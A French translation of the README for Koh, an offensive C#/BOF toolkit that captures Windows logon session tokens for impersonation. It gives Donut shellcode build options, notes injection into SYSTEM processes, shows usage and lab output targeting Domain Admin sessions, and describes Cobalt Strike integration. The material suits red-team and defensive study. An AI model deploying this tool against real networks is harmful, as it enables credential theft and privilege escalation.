
Capture les jetons de session d'ouverture de session Windows via une fuite de jetons pour permettre la réutilisation des identifiants et l'usurpation d'identité, avec une intégration Cobalt Strike BOF pour le vol de jetons post-exploitation.
Koh est un ensemble d'outils en C# et Beacon Object File (BOF) qui permet la capture de données d'identification utilisateur via une fuite intentionnelle de jetons/sessions d'ouverture de session.
Certains codes ont été inspirés par le projet Internal-Monologue (sans licence) d'Elad Shamir, ainsi que par KB180548. Pour comprendre pourquoi cela est possible et l'approche de Koh, voir la section Contexte technique de ce README.
Pour une explication plus approfondie de la motivation derrière Koh et de son approche, consultez l'article Koh: The Token Stealer.
@harmj0y est l'auteur principal de cette base de code. @tifkin_ a contribué à l'approche, à l'implémentation du BOF et à certaines mécaniques de jetons.
Koh est distribué sous licence BSD 3-Clause.
Le « serveur » Koh capture les jetons et utilise des pipes nommés pour le contrôle/la communication. Il peut être encapsulé dans Donut et injecté dans tout processus haute intégrité SYSTEM (voir Le bug Inline Shenanigans).
Nous ne prévoyons pas de publier les binaires de Koh, vous devrez donc le compiler vous-même :)
Koh a été développé pour .NET 4.7.2 et est compatible avec Visual Studio 2019 Community Edition. Ouvrez simplement le fichier .sln du projet, choisissez « Release » et compilez. L'assembly Koh.exe et le PIC Koh.bin construit avec Donut seront générés dans le répertoire principal. Le blob Donut est compatible x86/x64 et a été construit avec les options suivantes en utilisant la v0.9.3 de Donut à l'emplacement ./Misc/Donut.exe :```
[ Instance type : Embedded
[ Entropy : Random names + Encryption
[ Compressed : Xpress Huffman
[ File type : .NET EXE
[ Parameters : capture
[ Target CPU : x86+amd64
[ AMSI/WDLP : abort
La licence de Donut est BSD 3-clause.
### Utilisation
`Koh.exe Koh.exe <list | monitor | capture> [GroupSID... GroupSID2 ...]`
* **list** - liste les sessions de connexion (non-réseau)
* **monitor** - surveille les nouvelles sessions de connexion uniques (non-réseau)
* **capture** - capture un jeton unique par SID trouvé pour les nouvelles sessions de connexion (non-réseau)
Les SID de groupe peuvent également être fournis en ligne de commande, ce qui amène Koh à surveiller/capturer uniquement les sessions de connexion qui contiennent les SID de groupe spécifiés dans leurs informations de jeton négocié.
### Exemple - Liste des sessions de connexion```
C:\Temp>Koh.exe list
__ ___ ______ __ __
| |/ / / __ \ | | | |
| ' / | | | | | |__| |
| < | | | | | __ |
| . \ | `--' | | | | |
|__|\__\ \______/ |__| |__|
v1.0.0
[*] Command: list
[*] Elevated to SYSTEM
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\testuser
LUID : 207990196
LogonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1119
Origin LUID : 1677733 (0x1999a5)
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\DA
LUID : 81492692
LogonType : Interactive
AuthPackage : Negotiate
User SID : S-1-5-21-937929760-3187473010-80948926-1145
Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\DA
LUID : 81492608
LogonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1145
Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\harmj0y
LUID : 1677733
LogonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1104
Origin LUID : 999 (0x3e7)
Liste uniquement les résultats qui contiennent le SID de groupe des administrateurs de domaine (-512) dans leurs informations de jeton :``` C:\Temp>Koh.exe monitor S-1-5-21-937929760-3187473010-80948926-512
| |/ / / __ \ | | | | | ' / | | | | | || | | < | | | | | __ | | . \ | `--' | | | | | ||__\ __/ || || v1.0.0
[*] Command: monitor
[*] Starting server with named pipe: imposecost
[*] Elevated to SYSTEM
[*] Targeting group SIDs: S-1-5-21-937929760-3187473010-80948926-512
[*] New Logon Session - 6/22/2022 2:52:17 PM UserName : THESHIRE\DA LUID : 81492692 LogonType : Interactive AuthPackage : Negotiate User SID : S-1-5-21-937929760-3187473010-80948926-1145 Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:52:17 PM UserName : THESHIRE\DA LUID : 81492608 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1145 Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:52:17 PM UserName : THESHIRE\harmj0y LUID : 1677733 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1104 Origin LUID : 999 (0x3e7)
## Client Koh
Le client utilisable actuel est un fichier objet Beacon situé dans `.\Clients\BOF\`. Chargez le script d'agression `.\Clients\BOF\KohClient.cna` dans votre client Cobalt Strike pour activer le contrôle BOF du serveur Koh. La seule condition pour utiliser les jetons capturés est **SeImpersonatePrivilege**. Le tube nommé de communication possède une DACL "Everyone" mais utilise un mot de passe partagé basique (super sécurisé).
Pour compiler sur Linux avec Mingw, consultez le script `.\Clients\BOF\build.sh`. La seule dépendance (sur Debian au moins) devrait être `apt-get install gcc-mingw-w64`